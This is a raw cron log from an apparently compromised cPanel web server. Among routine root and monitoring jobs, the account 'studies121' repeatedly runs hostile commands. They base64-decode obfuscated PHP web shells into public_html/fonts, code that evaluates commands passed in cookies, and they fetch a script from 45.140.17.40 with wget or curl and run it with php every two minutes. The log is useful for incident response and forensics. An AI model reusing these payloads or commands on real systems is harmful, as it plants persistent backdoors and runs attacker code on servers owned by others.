Sep  8 13:52:02 ip-184-168-122-23 CROND[30504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:53:01 ip-184-168-122-23 CROND[30665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:53:01 ip-184-168-122-23 CROND[30666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:53:01 ip-184-168-122-23 CROND[30669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:53:01 ip-184-168-122-23 CROND[30670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:54:01 ip-184-168-122-23 CROND[30841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:54:01 ip-184-168-122-23 CROND[30845]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:54:01 ip-184-168-122-23 CROND[30843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:54:01 ip-184-168-122-23 CROND[30844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:54:01 ip-184-168-122-23 CROND[30846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:55:01 ip-184-168-122-23 CROND[31104]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:55:01 ip-184-168-122-23 CROND[31108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:55:01 ip-184-168-122-23 CROND[31106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:55:01 ip-184-168-122-23 CROND[31109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:55:01 ip-184-168-122-23 CROND[31110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:55:01 ip-184-168-122-23 CROND[31107]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:56:01 ip-184-168-122-23 CROND[31202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:56:01 ip-184-168-122-23 CROND[31204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:56:01 ip-184-168-122-23 CROND[31205]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:56:01 ip-184-168-122-23 CROND[31206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:56:01 ip-184-168-122-23 CROND[31208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:57:01 ip-184-168-122-23 CROND[31298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:57:01 ip-184-168-122-23 CROND[31300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:57:01 ip-184-168-122-23 CROND[31302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:57:01 ip-184-168-122-23 CROND[31301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:58:01 ip-184-168-122-23 CROND[31482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:58:01 ip-184-168-122-23 CROND[31484]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:58:01 ip-184-168-122-23 CROND[31486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:58:01 ip-184-168-122-23 CROND[31485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:58:01 ip-184-168-122-23 CROND[31487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:59:01 ip-184-168-122-23 CROND[31573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:59:01 ip-184-168-122-23 CROND[31576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:59:01 ip-184-168-122-23 CROND[31577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:59:01 ip-184-168-122-23 CROND[31578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:00:01 ip-184-168-122-23 CROND[31707]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:00:01 ip-184-168-122-23 CROND[31710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:00:01 ip-184-168-122-23 CROND[31713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:00:01 ip-184-168-122-23 CROND[31716]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 14:00:01 ip-184-168-122-23 CROND[31717]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:00:01 ip-184-168-122-23 CROND[31714]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:00:01 ip-184-168-122-23 CROND[31722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:00:01 ip-184-168-122-23 CROND[31723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:00:01 ip-184-168-122-23 CROND[31724]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 14:01:01 ip-184-168-122-23 CROND[31817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:01:01 ip-184-168-122-23 CROND[31818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:01:01 ip-184-168-122-23 CROND[31820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:01:01 ip-184-168-122-23 CROND[31825]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 14:01:01 ip-184-168-122-23 CROND[31827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:01:01 ip-184-168-122-23 CROND[31826]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31825]: starting 0anacron
Sep  8 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31842]: finished 0anacron
Sep  8 14:02:01 ip-184-168-122-23 CROND[31925]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:02:01 ip-184-168-122-23 CROND[31927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:02:01 ip-184-168-122-23 CROND[31929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:02:01 ip-184-168-122-23 CROND[31928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:02:01 ip-184-168-122-23 CROND[31932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:03:01 ip-184-168-122-23 CROND[32115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:03:01 ip-184-168-122-23 CROND[32116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:03:01 ip-184-168-122-23 CROND[32118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:03:01 ip-184-168-122-23 CROND[32117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:04:01 ip-184-168-122-23 CROND[32198]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:04:01 ip-184-168-122-23 CROND[32200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:04:01 ip-184-168-122-23 CROND[32201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:04:01 ip-184-168-122-23 CROND[32202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
